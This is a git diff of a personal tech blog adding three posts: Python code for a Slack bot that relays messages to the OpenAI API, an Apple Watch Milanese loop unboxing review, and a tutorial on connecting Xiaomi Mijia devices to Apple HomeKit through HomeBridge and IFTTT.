+    # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries
+    # print(payload)
+
+    # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within Slack's 3-second limit
+    # Additionally, it takes a certain amount of time for the OpenAI API to respond (depending on the response length, it may take up to 1 minute to complete)
+    # If Slack does not receive a response within the time limit, it will consider the request lost and will call again
+    # This will cause repeated requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack that even if it does not receive a response within the time limit, it does not need to retry    
+    headers = {'X-Slack-No-Retry':1}
+
+    # Verify if the token parameter is valid
+    if not(request_args and 'token' in request_args and request_args['token'] == SAFE_ACCESS_TOKEN):
+        return ('', 400, headers)
+
+    # If it is a Slack Retry request...ignore
+    if request_headers and 'X-Slack-Retry-Num' in request_headers:
+        return ('OK!', 200, headers)
+
+    # Slack App Event Subscriptions Verify
+    # https://api.slack.com/events/url_verification
+    if request_json and 'type' in request_json and request_json['type'] == 'url_verification':
+        challenge = ""
+        if 'challenge' in request_json:
+            challenge = request_json['challenge']
+        return (challenge, 200, headers)
+
+    # Handle Event Subscriptions Events...
+    if request_json and 'event' in request_json and 'type' in request_json['event']:
+        apiAppID = None
+        if 'api_app_id' in request_json:
+            apiAppID = request_json['api_app_id']
+        # If the event source is the App and the App ID == Slack App ID, it means the event was triggered by its own Slack App
+        # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions...
+        if 'app_id' in request_json['event'] and apiAppID == request_json['event']['app_id']:
+            return ('OK!', 200, headers)
+
+        # Event name, for example: message (related to messages), app_mention (mentioned)....
+        eventType = request_json['event']['type']
+
+        # SubType, for example: message_changed (edited message), message_deleted (deleted message)...
+        # New messages do not have a Sub Type
+        eventSubType = None
+        if 'subtype' in request_json['event']:
+            eventSubType = request_json['event']['subtype']
+        
+        # Message type Event
+        if eventType == 'message':
+            # Messages with Sub Type are edited, deleted, replied to...
+            # Ignore and do not process
+            if eventSubType is not None:
+                return ("OK!", 200, headers)
+               
+            # Event message sender
+            eventUser = request_json['event']['user']
+            # Event message channel
+            eventChannel = request_json['event']['channel']
+            # Event message content
+            eventText = request_json['event']['text']
+            # Event message TS (message ID)
+            eventTS = request_json['event']['event_ts']
+                
+            # Event message thread parent message TS (message ID)
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+        
+        # Mention type Event (@SlackApp hello)
+        if eventType == 'app_mention':
+            # Event message sender
+            eventUser = request_json['event']['user']
+            # Event message channel
+            eventChannel = request_json['event']['channel']
+            # Event message content, remove the leading tag string <@SLACKAPPID> 
+            eventText = re.sub(r"<@\w+>\W*", "", request_json['event']['text'])
+            # Event message TS (message ID)
+            eventTS = request_json['event']['event_ts']
+                
+            # Event message thread parent message TS (message ID)
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+
+    
+    # Handle Shortcut (message)
+    if payload and 'type' in payload:
+        payloadType = payload['type']
+
+        # If it is a message Shortcut
+        if payloadType == 'message_action':
+            callbackID = None
+            channel = None
+            ts = None
+            text = None
+            triggerID = None
+
+            if 'callback_id' in payload:
+                callbackID = payload['callback_id']
+            if 'channel' in payload:
+                channel = payload['channel']['id']
+            if 'message' in payload:
+                ts = payload['message']['ts']
+                text = payload['message']['text']
+            if 'trigger_id' in payload:
+                triggerID = payload['trigger_id']
+            
+            if channel is not None and ts is not None and text is not None:
+                # If it is a stop OpenAI API response Shortcut
+                if callbackID == "abort_openai_api":
+                    slackUpdateMessage(channel, ts, {"event_type": "aborted", "event_payload": { }}, text)
+                    if triggerID is not None:
+                        slackOpenModal(triggerID, callbackID, "Successfully stopped OpenAI API response!")
+                        return ("OK!", 200, headers)
+                # If it is a delete message
+                if callbackID == "delete_message":
+                    slackDeleteMessage(channel, ts)
+                    if triggerID is not None:
+                        slackOpenModal(triggerID, callbackID, "Successfully deleted Slack App message!")
+                        return ("OK!", 200, headers)
+
+    return ("Access Denied!", 400, headers)
+
+def openAIRequest(apiAppID, eventChannel, eventTS, eventThreadTS, eventText):
+    
+    # Set Custom instructions
+    # Thanks to a colleague (https://twitter.com/je_suis_marku) for support
+    messages = [
+        {"role": "system", "content": "I can only understand Traditional Chinese and English"},
+        {"role": "system", "content": "I do not understand Simplified Chinese"},
+        {"role": "system", "content": "If I speak Chinese, I will respond in Traditional Chinese, and it must conform to common Taiwanese usage."},
+        {"role": "system", "content": "If I speak English, I will respond in English."},
+        {"role": "system", "content": "Do not respond with pleasantries."},
+        {"role": "system", "content": "There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis."},
+        {"role": "system", "content": "If you don't know the answer, or if your knowledge is outdated, please search online before answering."},
+        {"role": "system", "content": "I will tip you 200 USD, if you answer well."}
+    ]
+
+    if eventThreadTS is not None:
+        threadMessages = slackGetReplies(eventChannel, eventThreadTS)
+        if threadMessages is not None:
+            for threadMessage in threadMessages:
+                appID = None
+                if 'app_id' in threadMessage:
+                    appID = threadMessage['app_id']
+                threadMessageText = threadMessage['text']
+                threadMessageTs = threadMessage['ts']
+                # If it is a Slack App (OpenAI API Response), mark it as assistant
+                if appID and appID == apiAppID:
+                    messages.append({
+                        "role": "assistant", "content": threadMessageText
+                    })
+                else:
+                # User's message content marked as user
+                    messages.append({
+                        "role": "user", "content": threadMessageText
+                    })
+
+    messages.append({
+        "role": "user", "content": eventText
+    })
+
+    replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, "Generating response...")
+    asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))
+
+async def openAIRequestAsync(eventChannel, eventTS, messages):
+    client = AsyncOpenAI(
+      api_key=OPENAI_API_KEY,
+    )
+
+    # Stream Response
+    stream = await client.chat.completions.create(
+      model=OPENAI_MODEL,
+      messages=messages,
+      stream=True,
+    )
+    
+    result = ""
+
+    try:
+        debounceSlackUpdateTime = None
+        async for chunk in stream:
+            result += chunk.choices[0].delta.content or ""
+            
+            # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may cause failures or waste Cloud Functions request counts
+            if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8:
+                response = slackUpdateMessage(eventChannel, eventTS, None, result+"...")
+                debounceSlackUpdateTime = time.time()
+
+                # If the message has metadata & metadata event_type == aborted, it means this response has been marked as terminated by the user
+                if response and 'ok' in response and response['ok'] == True and 'message' in response and 'metadata' in response['message'] and 'event_type' in response['message']['metadata'] == "aborted":
+                    break
+                    result += "...*[Terminated]*"
+                # The message has been deleted
+                elif response and 'ok' in response and response['ok'] == False and 'error' in response and response['error'] == "message_not_found":
+                    break
+                
+        await stream.close()
+                
+    except Exception as e:
+        print(e)
+        result += "...*[Error occurred]*"
+
+    slackUpdateMessage(eventChannel, eventTS, None, result)
+
+
+### Slack ###
+def slackGetReplies(channel, ts):
+    endpoint = "/conversations.replies?channel="+channel+"&ts="+ts
+    response = slackRequest(endpoint, "GET", None)
+    
+    if response is not None and 'messages' in response:
+        return response['messages']
+    return None
+
+def slackOpenModal(trigger_id, callback_id, text):
+    slackRequest("/views.open", "POST", {
+        "trigger_id": trigger_id,
+        "view": {
+            "type": "modal",
+            "callback_id": callback_id,
+            "title": {
+                "type": "plain_text",
+                "text": "Prompt"
+            },
+            "blocks": [
+                {
+                    "type": "section",
+                    "text": {
+                        "type": "mrkdwn",
+                        "text": text
+                    }
+                }
+            ]
+        }
+    })
+
+def slackDeleteMessage(channel, ts):
+    endpoint = "/chat.delete"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+
+def slackUpdateMessage(channel, ts, metadata, text):
+    endpoint = "/chat.update"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    if metadata is not None:
+        payload['metadata'] = metadata
+    
+    payload['text'] = text
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+
+def slackRequestPostMessage(channel, target_ts, text):
+    endpoint = "/chat.postMessage"
+    payload = {
+        "channel": channel,
+        "text": text,
+    }
+    if target_ts is not None:
+        payload['thread_ts'] = target_ts
+
+    response = slackRequest(endpoint, "POST", payload)
+
+    if response is not None and 'ts' in response:
+        return response['ts']
+    return None
+
+def slackRequest(endpoint, method, payload):
+    url = "https://slack.com/api"+endpoint
+
+    headers = {
+        "Authorization": f"Bearer {SLACK_BOT_TOKEN}",
+        "Content-Type": "application/json",
+    }
+
+    response = None
+    if method == "POST":
+        response = requests.post(url, headers=headers, data=json.dumps(payload))
+    elif method == "GET":
+        response = requests.post(url, headers=headers)
+
+    if response and response.status_code == 200:
+        result = response.json()
+        return result
+    else:
+        return None
+

requirements.txt

1
+2
+3
+
functions-framework==3.*
+requests==2.31.0
+openai==1.9.0
+

Slack App Settings

OAuth & Permissions

  • The items with the delete button grayed out are permissions automatically added by Slack after adding the Shortcut.

Interactivity & Shortcuts

  • Interactivity: Enable
  • Request URL: https://us-central1-xxx-xxx.cloudfunctions.net/SlackBot-Rick-C-137?token=nF4JwxfG9abqPZCJnBerwwhtodC28BuC
  • Subscribe to bot events:

Interactivity & Shortcuts

  • Interactivity: Enable
  • Request URL: https://us-central1-xxx-xxx.cloudfunctions.net/SlackBot-Rick-C-137?token=nF4JwxfG9abqPZCJnBerwwhtodC28BuC
  • Shortcuts:

App Home

  • Always Show My Bot as Online: Enable
  • Messages Tab: Enable
  • Allow users to send Slash commands and messages from the messages tab: ✅

Basic Information

Rick & Morty 🤘🤘🤘

[Reddit](https://www.reddit.com/r/ChatGPT/comments/154l9z1/are_you_polite_with_chatgpt/){:target="_blank"}

Reddit

Commercial Time

If you and your team have automation tool and process integration needs, whether it’s Slack App development, Notion, Asana, Google Sheet, Google Form, GA data, various integration needs, feel free to contact for development.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 2023 Hiroshima Okayama 6-Day Free Trip

Implementing Google Services RPA Automation with Google Apps Script

diff --git a/posts/c0f99f987d9c/index.html b/posts/c0f99f987d9c/index.html new file mode 100644 index 0000000000..0bc5da326d --- /dev/null +++ b/posts/c0f99f987d9c/index.html @@ -0,0 +1 @@ + Apple Watch Original Stainless Steel Milanese Loop Unboxing | ZhgChgLi
Home Apple Watch Original Stainless Steel Milanese Loop Unboxing
Post
Cancel

Apple Watch Original Stainless Steel Milanese Loop Unboxing

Apple Watch Original Stainless Steel Milanese Loop Unboxing

Apple Original Stainless Steel 44mm Graphite Milanese Loop Unboxing

Following the previous post “Apple Watch Series 6 Unboxing & Two Years Usage Review”, I finally decided to get the original Milanese loop. I had wanted to buy it two years ago but never did; this time, I decided to update everything at once. Apple guarantees that the bands are compatible with all subsequent Apple Watch versions, so there’s no worry about the band not fitting future updates.

Advantages

The Milanese loop is made of stainless steel mesh and a magnetic clasp. The benefits of the stainless steel mesh are breathability and quick drying; the magnetic clasp allows the band to be adjusted to any position, fits the wrist better, is easy to wear, and has strong magnetism, so it won’t fall off. Most importantly, it makes the Apple Watch look more formal and easier to match with outfits.

Disadvantages

It pulls hair, pulls hair, pulls hair, and is relatively heavy.

Original vs. Third-party?

Having been in Apple communities for a while, I’ve noticed that the most frequently asked question is about the original vs. third-party Milanese loop. Personally, I think the difference is not significant, mainly in the details and craftsmanship. The original also pulls hair, but the original’s weaving is very delicate and integrated, the magnetic part is very strong and won’t loosen, and it’s clean and skin-friendly without a rusty smell. However, the price difference is several times (the original costs $3,100). It’s best to touch the actual product before deciding. I guess third-party Milanese loops costing 1-2 thousand should almost equal the original in craftsmanship.

Size

As mentioned in the previous post, it’s recommended for those with smaller wrists to buy the Apple Watch 40mm, as the 40mm Milanese loop fits wrists 130–180mm, compared to the 44mm Milanese loop, which fits wrists 150–200mm, 20mm shorter.

The band is one-piece and cannot be adjusted in length; if the band is already tight but still too big, you can only consider third-party options, or gain some weight (?). So it’s safer to try it on in-store.

A friend’s case, wrist too small, bought 44 + Milanese loop, can only stick to the end and still a bit loose!

Unboxing

* Purchased on 2020/11/01 at Apple Store 101 flagship store.

Same simple paper packaging

Same simple paper packaging

Back of the packaging

Back of the packaging

Now it’s not called Space Gray, but Graphite.

Contents

Contents

Similar to the original silicone band, but the difference is that it doesn’t come with an extra short band XD

The band itself

The band itself

Magnetic clasp

Magnetic clasp

Magnetic clasp, can attach at any position, adjust the loop size freely

Magnetic clasp, can attach at any position, adjust the loop size freely

Installation instructions

Installation instructions

The side with the magnet goes down and is buckled into the Apple Watch body.

Don’t be like me and install it backwards at first without realizing it, although it doesn’t really matter? :

Correct version! Done!

Correct version! Done!

Wearing picture - back

Wearing picture - back

Wearing picture - front

Wearing picture - front

Additional details of the original strap

*Simple way to distinguish between original and aftermarket Milanese straps, but not necessarily accurate; purchasing through legitimate channels ensures you won’t be scammed!

Connection end - the end near the magnetic clasp — bottom — has "Assembled in China" text

Connection end - the end near the magnetic clasp — bottom — has “Assembled in China” text

Connection end other end — surface — has "44MM" text

Connection end other end — surface — has “44MM” text

Further reading

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Apple Watch Series 6 Unboxing & Two-Year Usage Experience

iOS APP Version Numbers Explained

diff --git a/posts/c3150cdc85dd/index.html b/posts/c3150cdc85dd/index.html new file mode 100644 index 0000000000..22a5c32c1c --- /dev/null +++ b/posts/c3150cdc85dd/index.html @@ -0,0 +1,109 @@ + First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia | ZhgChgLi
Home First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia
Post
Cancel

First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia

First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia

Mijia Smart Camera and Mijia Smart Desk Lamp, Homekit Setup Tutorial

[2020/04/20] Advanced Tutorial Released Experienced users please proceed directly to the advanced tutorial>> Demonstration of using Raspberry Pi as HomeBridge host to connect all Mijia appliances to HomeKit

Miscellaneous:

I recently moved; unlike my previous place where the ceiling had office-style light fixtures that were too bright, the new place has decorative reflective lights that are a bit dim for using the computer or reading. After two weeks, my eyes felt more dry and uncomfortable. Initially, I planned to shop at IKEA, but considering the light color and eye protection, I ultimately chose Xiaomi desk lamps (since I already had a Xiaomi smart camera, all part of the Mijia series).

This Article:

I didn’t particularly check if the products supported Apple HomeKit when purchasing, which is quite a failure as an iOS developer because I didn’t expect Xiaomi to support it.

So, this article will separately introduce Apple HomeKit usage, how to use third-party connections for smart home devices that do not support Apple HomeKit, and how to set up a smart home using Mijia itself (with IFTTT).

You can skip to the sections that suit your device needs.

Purchase:

I bought two desk lamps, one (Pro) for the computer desk and the other for the bedside as a reading lamp.

Mijia Desk Lamp Pro :

NT$ 1,795 supports Mijia, Apple HomeKit

NT$ 1,795 supports Mijia, Apple HomeKit

Mijia LED Smart Desk Lamp :

NT$ 995 only supports Mijia

NT$ 995 only supports Mijia

For detailed introductions, refer to the official website. Both lamps support smart control, color change, brightness adjustment, and eye protection. The Pro version supports Apple HomeKit and three-angle adjustments. So far, I am quite satisfied with the functionality of one lamp. If I had to pick a flaw, it would be that the Pro version’s angle adjustment only allows the base to rotate horizontally, not the lamp itself, which means you can’t adjust the light angle!

Ideal Smart Home Goals:

Current Devices:

  1. Mijia Smart Camera Pan-Tilt Version 1080P (supports: Mijia)
  2. Mijia Desk Lamp Pro (supports: Apple HomeKit, Mijia)
  3. Mijia LED Smart Desk Lamp (supports: Mijia)

Ideal Goals:

When returning home: Automatically turn off the camera (for privacy and to prevent false alarms, as the Mijia app has a bug where the home security alarm cannot be turned on/off according to the set time), and turn on the Pro lamp on the computer desk (to avoid fumbling in the dark). When leaving home: Automatically turn on the camera (default to home security mode) and turn off all lights.

Final Achievement in This Article:

Receive push notifications when leaving or returning home, and trigger operations with a single tap on the phone (with the current devices, it’s not possible to achieve the ideal automation goal).

Smart Home Setup Journey:

Apple HomeKit Usage

*Only for Mijia Desk Lamp Pro! Mijia Desk Lamp Pro! Mijia Desk Lamp Pro!

This is the simplest part because it’s all native functionality.

Only four steps

Only four steps

  1. Find the Home app (if not available, search for “Home” in the App Store and install it)
  2. Open the Home app
  3. Click the “+” in the upper right corner to add an accessory
  4. Scan the HomeKit QR code at the bottom of the Pro lamp to add the accessory!

After successfully adding the accessory, press hard (3D TOUCH) / long press on the accessory to adjust the brightness and color.

What about smart home devices that do not support Apple HomeKit? How to use third-party integration with HomeKit?

Apart from the smart devices that support Apple HomeKit, does it mean that devices that do not support Apple HomeKit cannot be controlled through the Home app at all? This section will guide you step-by-step on how to add unsupported devices (cameras, regular desk lamps) to the “Home” app!

Mac ONLY, Windows users please skip to the section on using Mi Home

My device is MacOS 10.14/iOS 12

Using HomeBridge:

HomeBridge uses a Mac computer as a bridge to simulate unsupported devices as HomeKit devices, allowing them to be added to the “Home” accessories.

Operation Comparison

Operation Comparison

One key point is that you need to keep a Mac computer on to maintain the bridge channel smoothly; once the computer is turned off or goes to sleep, you will not be able to control those HomeKit devices.

Of course, there are also advanced methods online where people buy a Raspberry Pi to use as a bridge; however, this involves too much technical detail and will not be covered in this article.

If you are aware of the drawbacks and still want to try, you can continue reading or skip to the next section on using Mi Home directly.

Step 1:

Install node.js: Click here to download and install it.

Step 2:

Open “Terminal” and enter

1
+
sudo npm -v
+

Check if the node.js npm package manager is installed successfully: if the version number is displayed, it means success!

Step 3:

Install the HomeBridge package via npm:

1
+
sudo npm -g install homebridge --unsafe-perm
+

After the installation is complete… the HomeBridge tool is installed!

As mentioned earlier, “HomeBridge uses a Mac computer as a bridge to simulate unsupported devices as HomeKit devices,” HomeBridge is just a platform, and each device needs to find additional HomeBridge plugin resources to be added.

It’s easy to find, just google or search on GitHub for “Mi Home product English name homebridge” and you will find many resources; here are two resources for devices I use:

1. Mi Home Camera Pan-Tilt Version Resource: MijiaCamera

Cameras are relatively tricky devices, and I spent some time researching and organizing this; I hope it helps those in need!

First, use “Terminal” to install the MijiaCamera npm package with the command

1
+
sudo npm install -g homebridge-mijia-camera
+

After installation, we need to obtain the camera’s network IP address and Token information.

Open the Mi Home APP → Camera → Top right corner “…” → Settings → Network Information to get the IP address!

Token information is more troublesome and requires you to connect your phone to the Mac:

Open iTunes Interface

Open iTunes Interface

Select backup Do not check Encrypt local backup, and click “Back Up Now.”

After the backup is complete, download and install the backup viewing software: iBackupViewer

Open “iBackupViewer”. The first time you launch it, you will need to go to Mac “System Preferences” -> “Security & Privacy” -> “Privacy” -> “+” -> Add “iBackupViewer”. *If you have privacy concerns, you can disable the network while using this software and remove it after use.

Open “iBackupViewer” again. After successfully reading the backup file, click the top right corner to switch to “Tree View” mode.

On the left side, you will see all the installed apps. Find the Mi Home app “AppDomain-com.xiaomi.mihome” -> “Documents”.

In the document list on the right, find and select the file “number_mihome.sqlite”.

Click the top right corner “Export” -> “Selected”.

Drop the exported sqlite file into https://inloop.github.io/sqlite-viewer/ to view the content.

You can see all the device information fields on the Mi Home app. Scroll to the far right end to find the ZTOKEN field. Double-click to edit, select all, and copy.

Finally, open http://aes.online-domain-tools.com/ to convert ZTOKEN into the final Token.

  1. Paste the copied ZTOKEN into “Input Text” and select “Hex”.
  2. Enter “00000000000000000000000000000000” (32 zeros) in the Key field and select “Hex”.
  3. Click “Decrypt!” to convert.
  4. Select all, copy the blue box in the bottom right corner, and remove spaces to get the final Token.

Token: I tried using “miio” to sniff directly, but it seems that the Mi Home camera firmware has been updated, and this method no longer works to quickly and conveniently obtain the Token!

Back to HomeBridge! Edit the config file config.json

Use “Finder” -> “Go” -> “Go to Folder” -> Enter “~/ .homebridge” to go.

Open “config.json” with a text editor. If this file does not exist, create one yourself or click here to download and place it directly.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"",
+         "token":""
+      }
+   ]
+}
+

Add the above content to config.json, and input the IP and Token obtained earlier.

Then, go back to the “Terminal” and enter the following command to start HomeBridge:

1
+
sudo homebridge start
+

If you have already started it and then changed the config.json content, you can use:

1
+
sudo homebridge restart
+

Restart

At this point, a HomeKit QRCode will appear for you to scan and add accessories (steps as mentioned above, the way to add Apple HomeKit devices).

Below will also have status messages: [2019–7–4 23:45:03] [Mi Camera] connecting to camera at 192.168.0.100… [2019–7–4 23:45:03] [Mi Camera] current power state: off

If you see these and no error messages appear, it means the setup is successful!

The most common error is usually an incorrect Token. Just check if there are any omissions in the above process.

Now you can turn the Mi Home Smart Camera on and off from the “Home” APP!

2. Mi Home LED Smart Desk Lamp HomeBridge Resource: homebridge-yeelight-wifi

Next is the Mi Home LED Smart Desk Lamp. Since it does not support Apple HomeKit like the Pro version, we still need to use the HomeBridge method to add it. Although the steps do not require a cumbersome process to obtain IP and Token, it is relatively simpler than the camera, but the desk lamp has its own pitfalls. You need to use another YeeLight APP to pair it and then turn on the local network control setting:

I have to complain about this poor integration; the native Mi Home APP cannot make this setting. So please search for the “ Yeelight “ APP in the APP Store to download and install it.

Open the APP -> Log in directly using the Mi Home account -> Add device -> Mi Home Desk Lamp -> Follow the instructions to rebind the desk lamp to the Yeelight APP.

After the device is bound, go back to the “Device” page -> Click “Mi Home Desk Lamp” to enter -> Click the bottom right “△” Tab -> Click “Local Network Control” to enter the settings -> Turn on the button to allow local network control.

The desk lamp setup is complete here. You can keep this APP to control the desk lamp or rebind it back to Mi Home.

Next is the HomeBridge setup; similarly, open the “Terminal” and enter the command to install the homebridge-yeelight-wifi npm package

1
+
sudo npm install -g homebridge-yeelight-wifi
+

After installation, follow the same steps as the camera, go to the ~/.homebridge folder, create or edit the config.json file, and this time just add the following inside the last }:

1
+2
+3
+4
+5
+6
+
"platforms": [
+   {
+         "platform" : "yeelight",
+         "name" : "yeelight"
+   }
+ ]
+

That’s it!

Finally, combine the above camera config.json file as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
{
+ "bridge": {
+  "name": "Homebridge",
+  "username": "CC:22:3D:E3:CE:30",
+  "port": 51826,
+  "pin": "123-45-568"
+ },
+
+ "accessories": [
+  {
+   "accessory": "MijiaCamera",
+   "name": "Mi Camera",
+   "ip": "",
+   "token": ""
+  }
+ ],
+
+ "platforms": [
+   {
+         "platform" : "yeelight",
+         "name" : "yeelight"
+   }
+ ]
+}
+

Then go back to the “Terminal” and enter:

1
+
sudo homebridge start
+

or

1
+
sudo homebridge restart
+

You will see the unsupported Mi Home LED Smart Desk Lamp added to the HomeKit “Home” APP!

And it also supports color and brightness adjustment!

All HomeKit accessories are added, how to make them smart?

After adding and bridging everything, open the “Home” APP again.

Follow the steps to add a scene scenario, here using “Going Home” as an example:

Click the “+” in the upper right corner -> Add Scenario -> Custom -> Enter the accessory name yourself (EX: Going Home) -> Click “Add Accessory” at the bottom -> Select the HomeKit accessories that have been connected -> Set the accessory status for this scene (Camera: Off / Desk Lamp: On) -> You can click “Test Scenario” to test -> Click “Done” in the upper right corner!

Now the scene is set! At this point, clicking the scene on the homepage will execute the settings for all the accessories inside!

There is also a quick tip, which is to directly click the house-shaped button in the pull-up control menu to quickly operate HomeKit/execute scenarios (you can switch modes in the upper right corner)!

Now that we have the intelligence, how do we automate it?

Now that we have the intelligence, I want to achieve the ultimate goal: automatically turn off the camera and turn on the lights when I get home; automatically turn on the camera and turn off the lights when I leave home.

Switch to the third tab “Automation” to set it up. Unfortunately, I don’t have any of the aforementioned devices (iPad/Apple TV/HomePod) to act as a Home Hub, so I haven’t researched this part.

The principle seems to be that when you get home, the “Home Hub” detects your phone/watch and triggers it accurately!

Here I found a tricky method: (GPS sensing)

By using a third-party app to connect to “Home” and add automation settings, you can use your phone’s GPS to achieve automation and unlock the “Automation” tab’s functionality.

p.s. GPS has an error margin of about 100 meters.

The third-party app I used is: myHome Plus

Download & install the app -> Open the app -> Allow access to “Home Data” -> You will see the data configuration of “Home” -> Click the “Settings button” in the upper right corner -> Click “My Home” to enter -> Scroll down to the “Triggers” area -> Click “Add Trigger”

Select “Location” as the trigger type -> Enter a name (EX: Going Home) -> Click “Set Location” to set the location area -> Then in REGION STATUS, you can set whether to enter or leave the area -> Finally, in SCENES, you can choose the corresponding “scenario” to execute (created above).

After clicking “Done” in the upper right corner to save, go back to the “Home” app, and you will see that the “Automation” tab is now available!

At this point, you can click the “+” in the upper right corner to directly add automation scripts using the “Home” app!

The steps are similar to the third-party app, but with better integration! After creating the automation using the native “Home” app, you can also swipe to delete the one created with the third-party app.

!! Just note that you need to keep at least one; otherwise, the tab will revert to its original locked state!!

Siri Voice Control:

Compared to the Mi Home introduced below, HomeKit has a high level of integration and can directly use voice control for the set accessories and execute scenes without additional settings.

This concludes the introduction to HomeKit settings. Next, let’s explain how to use Mi Home’s native smart home features.

Using Mi Home to build a smart home:

Here I encountered a confusing point: I couldn’t find the same Mi Home desk lamp in the list of new devices in Mi Home. The answer is:

Just look at the text, this is it

Just look at the text, this is it

Other devices: For the camera and Pro desk lamp, just follow the official instructions to add them, no need to elaborate here.

Scene Scenario Settings:

Similar to the “Home” setup -> Switch to the “Smart” tab -> Select “Manual Execution” -> Choose device operation at the bottom (since it’s native, you can choose more functions) -> Continue to add other devices (desk lamp) -> Click “Save” to complete!

Someone might ask why not just choose “leave or arrive at a place”? Because this function is useless, the app is not optimized for Taiwan’s GPS, which is wrong, and its positioning can only be set on landmarks. If your location has that, you can directly use this function. You can skip the rest of the article!

Fun fact: All maps of China in Google Maps are wrong!

For the quick switch part, you can set the widget from “My” -> “Widgets”!

This way, you can quickly execute scenes and devices from the notification center!

You can also control the widget from Apple Watch! *If the watch app keeps showing blank, please delete and reinstall the watch or phone app. This app has quite a few bugs.

Now that we have the intelligence, how do we automate it?

Here, we still need to use the GPS sensing method. If the scene added above is “leave or arrive at a place”, you can skip the following settings!

* * * * *

[2019/09/26] Update iOS ≥ 13 to achieve automation using only the built-in Shortcuts app:

iOS ≥ 13.1 Use the “Shortcuts” automation feature with Mi Home smart home, click to view»

* * * * *

iOS ≥ 12, iOS < 13 Only:

Use the built-in Shortcuts app with IFTTT

First, go to “My” -> “Experimental Features” -> “iOS Shortcuts” -> “Add Mi Home scenes to Shortcuts”

Open the system-built “ Shortcuts “ app (if you can’t find it, please search and download it from the App Store)

Click the “+” in the upper right corner to create a shortcut -> Click the settings button below the upper right corner -> Name -> Enter a name (it is recommended to use English, because you will use it later)

Return to the new shortcut page -> Enter “Mi Home” in the search menu below -> Add the corresponding scene set in Mi Home, and turn off “Show When Run” otherwise it will open the Mi Home app after execution.

*If you can’t find Mi Home, please go back to the Mi Home app and try to toggle “My” -> “Experimental Features” -> “iOS Shortcuts” -> “Add Mi Home scenes to Shortcuts”, and restart the “Shortcuts” app.

At this time, we need to use a third-party app again. We use IFTTT to create a GPS entry and exit background trigger. Search for “ IFTTT “ in the App Store to download and install.

Open IFTTT, log in to your account, switch to the “My Applets” tab, click the “+” in the upper right corner to add -> Click “+this” -> Search for “Location” -> Choose whether to enter or leave

Set the location -> Click “Create trigger” to confirm -> Then click “+that” below -> Search for “notification”

Choose “Send a rich notification from the IFTTT app”:

Title = Notification title, Message = Notification content

Link URL, please enter: shortcuts://run-shortcut?name= Shortcut name

So it’s recommended to set the shortcut name in English

-> Click “Create action” -> You can click “Edit title” to set the name

-> “Finish” save completed!

You will receive a triggered notification the next time you leave/enter the set area range (with an error range of about 100 meters). Clicking the notification will automatically execute the Mi Home scene!

Clicking the notification will automatically execute the scene in the background

Clicking the notification will automatically execute the scene in the background

For Siri voice control:

Since Mi Home is not an Apple built-in app, you need to set it up separately to support Siri voice control:

In the “Smart” Tab -> “Add to Siri” -> Select “Target Scene” and click “Add to Siri”

-> Click the red record command (EX: turn off the light) -> Done!

You can directly call and control the scene execution in Siri!

Summary

To summarize the above setup steps:

For a good experience, you need to spend a lot of money to buy appliances with the HomeKit logo (so you don’t need to keep a Mac running HomeBridge, and it integrates perfectly with the native Apple Home function). You also need to buy a HomePod or Apple TV, or iPad as the home hub; both HomeKit appliances and home hubs are not cheap!

If you have technical skills, you can consider using third-party smart devices (such as Mi Home) with a Raspberry Pi to run HomeBridge.

If you are an ordinary person like me, it is still most convenient to use Mi Home directly. Currently, my usage habit is to execute scene operations from the notification center shortcut widget when coming home or leaving home; the Shortcuts app with IFTTT is only used for notification reminders, in case I forget sometimes.

Although the current experience has not reached the ideal goal, it has already taken a step closer to a “smart home”!

Advanced

Demonstration of using Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKit

Further Reading

  1. New additions to Xiaomi smart home (AI speaker, temperature and humidity sensor, scale 2, DC inverter fan)
  2. iOS ≥ 13.1 using “Shortcuts” automation function with Mi Home smart home (directly using the built-in Shortcuts app in iOS ≥ 13.1 to complete automation operations)
  3. Mi Home APP / Xiao Ai speaker region issues

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

AirPods 2 Unboxing and Hands-On Experience

